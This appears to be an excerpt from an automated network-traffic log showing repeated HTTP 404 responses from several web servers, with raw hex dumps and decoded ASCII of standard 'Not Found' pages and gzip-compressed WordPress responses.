Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:32 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 76 61 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wvam/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:35 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 76 61 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wvam/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:37 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 76 61 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wvam/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:40 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 76 61 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wvam/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:46 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:49 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:51 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:57:54 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeDate: Wed, 03 Jul 2024 15:58:00 GMTServer: ApacheX-Powered-By: PHP/8.2.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://architect-usschool.com/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 35 34 30 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed bd 5b 97 db 46 b2 2e f8 2c ff 0a 98 5a 2d 57 6d 13 e0 9d ac 2a a9 d4 23 cb 72 6f cf b1 2c 1f 4b ee 9e 3d 96 17 17 48 82 55 90 48 82 0d 90 75 b1 5a 3f e6 3c 9e 87 f3 b0 d7 79 9b c7 f1 1f 9b 2f 22 32 13 09 30 41 b2 2e b2 bd d7 1a 5d aa 48 20 2f 91 91 91 71 cb c8 c8 27 9f 4f 92 f1 ea 7a 19 79 e7 ab f9 ec e9 67 4f e8 97 37 0b 17 67 a7 b5 68 e1 ff f4 ba 46 cf a2 70 f2 f4 b3 07 4f e6 d1 2a f4 c6 e7 61 9a 45 ab d3 da 4f 6f be f1 8f f0 fa 81 7a b1 08 e7 d1 69 ed 22 8e 2e 97 49 ba aa 79 e3 64 b1 8a 16 28 78 19 4f 56 e7 a7 93 e8 22 1e 47 3e 7f a9 7b f1 22 5e c5 e1 cc cf c6 e1 2c 3a 6d 51 33 4f 66 f1 e2 bd 97 46 b3 d3 da 32 4d a6 f1 2c aa 79 e7 69 34 3d ad 9d af 56 cb 93 46 e3 6c be 3c 0b 92 f4 ac 71 35 5d 34 5a 52 67 15 af 66 d1 d3 1f c2 b3 c8 5b 24 2b 6f 9a ac 17 13 ef d1 c3 a3 76 ab f5 d8 7b 96 8e cf e3 55 34 5e 61 1c 4f 1a 52 f4 33 19 05 03 fb 45 9a 8c 92 55 f6 85 01 f5 8b 45 12 2f 26 d1 55 1d 8d 4d 93 d9 2c b9 fc c2 6b 00 01 06 b2 2f 26 8b cc 5f 02 a8 68 35 3e ff 42 c0 fb a2 d1 58 ce c2 eb 28 0d 2e e2 79 94 04 e3 64 be 5f ad cb cb cb e0 3a 59 af d6 a3 c8 51 a9 16 ce 56 51 ba 08 57 40 03 4d d0 69 2d 5c 2e 67 f1 38 5c c5 c9 a2 91 66 d9 97 57 f3 19 5e 11 02 4e 6b f6 50 bd 47 69 f8 cf 75 f2 d8 fb 26 8a 26 25 1c 86 06 25 eb 2c 1b 9f 27 c9 8c ba 6e 4c 51 b2 51 2b 8e f5 1e 00 78 9e cc e7 20 81 ec 06 90 00 1a ae 62 83 94 8d d3 78 b9 52 58 58 45 57 ab c6 bb f0 22 94 a7 a0 9c c6 bf 79 4f 3e ff f9 f9 d7 cf de 3c fb d9 fb b7 c6 67 97 98 c3 e4 32 18 5e 2e a3 79 f2 2e 7e 1d ad 56 f1 e2 2c f3 4e bd 0f b5 51 98 45 3f a5 b3 da 09 13 55 76 f2 b6 f1 b6 91 05 97 44 56 6f 1b f1 1c 74 94 bd 6d 8c 93 34 7a db e0 ca 6f 1b ad 6e d0 0c 9a 6f 1b 83 f6 d5 a0 fd b6 51 ab d7 00 00 ea 07 cb c5 19 be 64 17 67 b7 6b 0f 15 b9 35 fc 7e 21 0d e2 13 35 98 ac d3 71 54 3b f9 50 c3 02 c2 6c 33 18 0a 5e 06 d7 3d 85 6f 1b 97 4b 3f 5e 8c 67 eb 09 0d e1 1d fe e3 01 57 f6 b1 a6 22 8c 3b 98 c7 8b e0 5d f6 d7 8b 28 3d ed 07 dd a0 57 fb f8 f1 31 b0 f7 b9 f7 e6 3c ce 3c 5a 71 1e 7e 87 eb 55 e2 9f 45 8b 28 45 e7 13 42 e8 e7 d3 f5 62 4c 64 77 10 d7 17 87 1f 2e c2 d4 4b ea 59 3d 7a ac 9f 7b e3 83 e8 f0 c3 2a bd e6 77 ab d3 0f d9 7a 49 4c e0 4d 94 ad b2 93 a8 be c2 c2 c8 56 e1 7c 79 72 b0 88 2e bd af d1 f0 61 70 11 ce d6 d1 ab e9 c1 e1 c7 c7 59 94 65 68 fe f5 2a 49 31 03 01 d8 cb b7 18 f7 41 52 ff 3f 5f bf fa 3e c8 56 29 e6 2f 9e 5e 1f ac 0e 0f 3f 02 25 e3 73 ea ee e3 47 d3 fd f2 00 7d 10 68 58 48 18 6a fa 23 d6 fc 41 b3 de ac e3 7b b8 00 a9 04 c2 76 cc d7 f3 28 3e 3b 5f 1d e2 3d 46 3d 7b 83 19 3d 58 a1 78 f3 f0 31 0d 6e Data Ascii: 5402[F.,Z-Wm
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeDate: Wed, 03 Jul 2024 15:58:02 GMTServer: ApacheX-Powered-By: PHP/8.2.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://architect-usschool.com/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 35 34 30 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed bd 5b 97 db 46 b2 2e f8 2c ff 0a 98 5a 2d 57 6d 13 e0 9d ac 2a a9 d4 23 cb 72 6f cf b1 2c 1f 4b ee 9e 3d 96 17 17 48 82 55 90 48 82 0d 90 75 b1 5a 3f e6 3c 9e 87 f3 b0 d7 79 9b c7 f1 1f 9b 2f 22 32 13 09 30 41 b2 2e b2 bd d7 1a 5d aa 48 20 2f 91 91 91 71 cb c8 c8 27 9f 4f 92 f1 ea 7a 19 79 e7 ab f9 ec e9 67 4f e8 97 37 0b 17 67 a7 b5 68 e1 ff f4 ba 46 cf a2 70 f2 f4 b3 07 4f e6 d1 2a f4 c6 e7 61 9a 45 ab d3 da 4f 6f be f1 8f f0 fa 81 7a b1 08 e7 d1 69 ed 22 8e 2e 97 49 ba aa 79 e3 64 b1 8a 16 28 78 19 4f 56 e7 a7 93 e8 22 1e 47 3e 7f a9 7b f1 22 5e c5 e1 cc cf c6 e1 2c 3a 6d 51 33 4f 66 f1 e2 bd 97 46 b3 d3 da 32 4d a6 f1 2c aa 79 e7 69 34 3d ad 9d af 56 cb 93 46 e3 6c be 3c 0b 92 f4 ac 71 35 5d 34 5a 52 67 15 af 66 d1 d3 1f c2 b3 c8 5b 24 2b 6f 9a ac 17 13 ef d1 c3 a3 76 ab f5 d8 7b 96 8e cf e3 55 34 5e 61 1c 4f 1a 52 f4 33 19 05 03 fb 45 9a 8c 92 55 f6 85 01 f5 8b 45 12 2f 26 d1 55 1d 8d 4d 93 d9 2c b9 fc c2 6b 00 01 06 b2 2f 26 8b cc 5f 02 a8 68 35 3e ff 42 c0 fb a2 d1 58 ce c2 eb 28 0d 2e e2 79 94 04 e3 64 be 5f ad cb cb cb e0 3a 59 af d6 a3 c8 51 a9 16 ce 56 51 ba 08 57 40 03 4d d0 69 2d 5c 2e 67 f1 38 5c c5 c9 a2 91 66 d9 97 57 f3 19 5e 11 02 4e 6b f6 50 bd 47 69 f8 cf 75 f2 d8 fb 26 8a 26 25 1c 86 06 25 eb 2c 1b 9f 27 c9 8c ba 6e 4c 51 b2 51 2b 8e f5 1e 00 78 9e cc e7 20 81 ec 06 90 00 1a ae 62 83 94 8d d3 78 b9 52 58 58 45 57 ab c6 bb f0 22 94 a7 a0 9c c6 bf 79 4f 3e ff f9 f9 d7 cf de 3c fb d9 fb b7 c6 67 97 98 c3 e4 32 18 5e 2e a3 79 f2 2e 7e 1d ad 56 f1 e2 2c f3 4e bd 0f b5 51 98 45 3f a5 b3 da 09 13 55 76 f2 b6 f1 b6 91 05 97 44 56 6f 1b f1 1c 74 94 bd 6d 8c 93 34 7a db e0 ca 6f 1b ad 6e d0 0c 9a 6f 1b 83 f6 d5 a0 fd b6 51 ab d7 00 00 ea 07 cb c5 19 be 64 17 67 b7 6b 0f 15 b9 35 fc 7e 21 0d e2 13 35 98 ac d3 71 54 3b f9 50 c3 02 c2 6c 33 18 0a 5e 06 d7 3d 85 6f 1b 97 4b 3f 5e 8c 67 eb 09 0d e1 1d fe e3 01 57 f6 b1 a6 22 8c 3b 98 c7 8b e0 5d f6 d7 8b 28 3d ed 07 dd a0 57 fb f8 f1 31 b0 f7 b9 f7 e6 3c ce 3c 5a 71 1e 7e 87 eb 55 e2 9f 45 8b 28 45 e7 13 42 e8 e7 d3 f5 62 4c 64 77 10 d7 17 87 1f 2e c2 d4 4b ea 59 3d 7a ac 9f 7b e3 83 e8 f0 c3 2a bd e6 77 ab d3 0f d9 7a 49 4c e0 4d 94 ad b2 93 a8 be c2 c2 c8 56 e1 7c 79 72 b0 88 2e bd af d1 f0 61 70 11 ce d6 d1 ab e9 c1 e1 c7 c7 59 94 65 68 fe f5 2a 49 31 03 01 d8 cb b7 18 f7 41 52 ff 3f 5f bf fa 3e c8 56 29 e6 2f 9e 5e 1f ac 0e 0f 3f 02 25 e3 73 ea ee e3 47 d3 fd f2 00 7d 10 68 58 48 18 6a fa 23 d6 fc 41 b3 de ac e3 7b b8 00 a9 04 c2 76 cc d7 f3 28 3e 3b 5f 1d e2 3d 46 3d 7b 83 19 3d 58 a1 78 f3 f0 31 0d 6e Data Ascii: 5402[F.,Z-Wm
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeDate: Wed, 03 Jul 2024 15:58:05 GMTServer: ApacheX-Powered-By: PHP/8.2.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://architect-usschool.com/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 35 34 30 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed bd 5b 97 db 46 b2 2e f8 2c ff 0a 98 5a 2d 57 6d 13 e0 9d ac 2a a9 d4 23 cb 72 6f cf b1 2c 1f 4b ee 9e 3d 96 17 17 48 82 55 90 48 82 0d 90 75 b1 5a 3f e6 3c 9e 87 f3 b0 d7 79 9b c7 f1 1f 9b 2f 22 32 13 09 30 41 b2 2e b2 bd d7 1a 5d aa 48 20 2f 91 91 91 71 cb c8 c8 27 9f 4f 92 f1 ea 7a 19 79 e7 ab f9 ec e9 67 4f e8 97 37 0b 17 67 a7 b5 68 e1 ff f4 ba 46 cf a2 70 f2 f4 b3 07 4f e6 d1 2a f4 c6 e7 61 9a 45 ab d3 da 4f 6f be f1 8f f0 fa 81 7a b1 08 e7 d1 69 ed 22 8e 2e 97 49 ba aa 79 e3 64 b1 8a 16 28 78 19 4f 56 e7 a7 93 e8 22 1e 47 3e 7f a9 7b f1 22 5e c5 e1 cc cf c6 e1 2c 3a 6d 51 33 4f 66 f1 e2 bd 97 46 b3 d3 da 32 4d a6 f1 2c aa 79 e7 69 34 3d ad 9d af 56 cb 93 46 e3 6c be 3c 0b 92 f4 ac 71 35 5d 34 5a 52 67 15 af 66 d1 d3 1f c2 b3 c8 5b 24 2b 6f 9a ac 17 13 ef d1 c3 a3 76 ab f5 d8 7b 96 8e cf e3 55 34 5e 61 1c 4f 1a 52 f4 33 19 05 03 fb 45 9a 8c 92 55 f6 85 01 f5 8b 45 12 2f 26 d1 55 1d 8d 4d 93 d9 2c b9 fc c2 6b 00 01 06 b2 2f 26 8b cc 5f 02 a8 68 35 3e ff 42 c0 fb a2 d1 58 ce c2 eb 28 0d 2e e2 79 94 04 e3 64 be 5f ad cb cb cb e0 3a 59 af d6 a3 c8 51 a9 16 ce 56 51 ba 08 57 40 03 4d d0 69 2d 5c 2e 67 f1 38 5c c5 c9 a2 91 66 d9 97 57 f3 19 5e 11 02 4e 6b f6 50 bd 47 69 f8 cf 75 f2 d8 fb 26 8a 26 25 1c 86 06 25 eb 2c 1b 9f 27 c9 8c ba 6e 4c 51 b2 51 2b 8e f5 1e 00 78 9e cc e7 20 81 ec 06 90 00 1a ae 62 83 94 8d d3 78 b9 52 58 58 45 57 ab c6 bb f0 22 94 a7 a0 9c c6 bf 79 4f 3e ff f9 f9 d7 cf de 3c fb d9 fb b7 c6 67 97 98 c3 e4 32 18 5e 2e a3 79 f2 2e 7e 1d ad 56 f1 e2 2c f3 4e bd 0f b5 51 98 45 3f a5 b3 da 09 13 55 76 f2 b6 f1 b6 91 05 97 44 56 6f 1b f1 1c 74 94 bd 6d 8c 93 34 7a db e0 ca 6f 1b ad 6e d0 0c 9a 6f 1b 83 f6 d5 a0 fd b6 51 ab d7 00 00 ea 07 cb c5 19 be 64 17 67 b7 6b 0f 15 b9 35 fc 7e 21 0d e2 13 35 98 ac d3 71 54 3b f9 50 c3 02 c2 6c 33 18 0a 5e 06 d7 3d 85 6f 1b 97 4b 3f 5e 8c 67 eb 09 0d e1 1d fe e3 01 57 f6 b1 a6 22 8c 3b 98 c7 8b e0 5d f6 d7 8b 28 3d ed 07 dd a0 57 fb f8 f1 31 b0 f7 b9 f7 e6 3c ce 3c 5a 71 1e 7e 87 eb 55 e2 9f 45 8b 28 45 e7 13 42 e8 e7 d3 f5 62 4c 64 77 10 d7 17 87 1f 2e c2 d4 4b ea 59 3d 7a ac 9f 7b e3 83 e8 f0 c3 2a bd e6 77 ab d3 0f d9 7a 49 4c e0 4d 94 ad b2 93 a8 be c2 c2 c8 56 e1 7c 79 72 b0 88 2e bd af d1 f0 61 70 11 ce d6 d1 ab e9 c1 e1 c7 c7 59 94 65 68 fe f5 2a 49 31 03 01 d8 cb b7 18 f7 41 52 ff 3f 5f bf fa 3e c8 56 29 e6 2f 9e 5e 1f ac 0e 0f 3f 02 25 e3 73 ea ee e3 47 d3 fd f2 00 7d 10 68 58 48 18 6a fa 23 d6 fc 41 b3 de ac e3 7b b8 00 a9 04 c2 76 cc d7 f3 28 3e 3b 5f 1d e2 3d 46 3d 7b 83 19 3d 58 a1 78 f3 f0 31 0d 6e Data Ascii: 5402[F.,Z-Wm
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://superunicornpalace.com/wp-json/>; rel="https://api.w.org/"x-tec-api-version: v1x-tec-api-root: https://superunicornpalace.com/wp-json/tribe/events/v1/x-tec-api-origin: https://superunicornpalace.comtransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Wed, 03 Jul 2024 15:58:27 GMTserver: LiteSpeedData Raw: 66 38 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b4 5a 6b 8f db b8 92 fd 3c 0d ec 7f 60 ab 71 dd d2 84 92 25 f9 d9 72 94 c1 dc 24 73 71 17 33 9b c1 24 c1 62 91 0e 02 5a 2a d9 4c f4 1a 92 6a bb d7 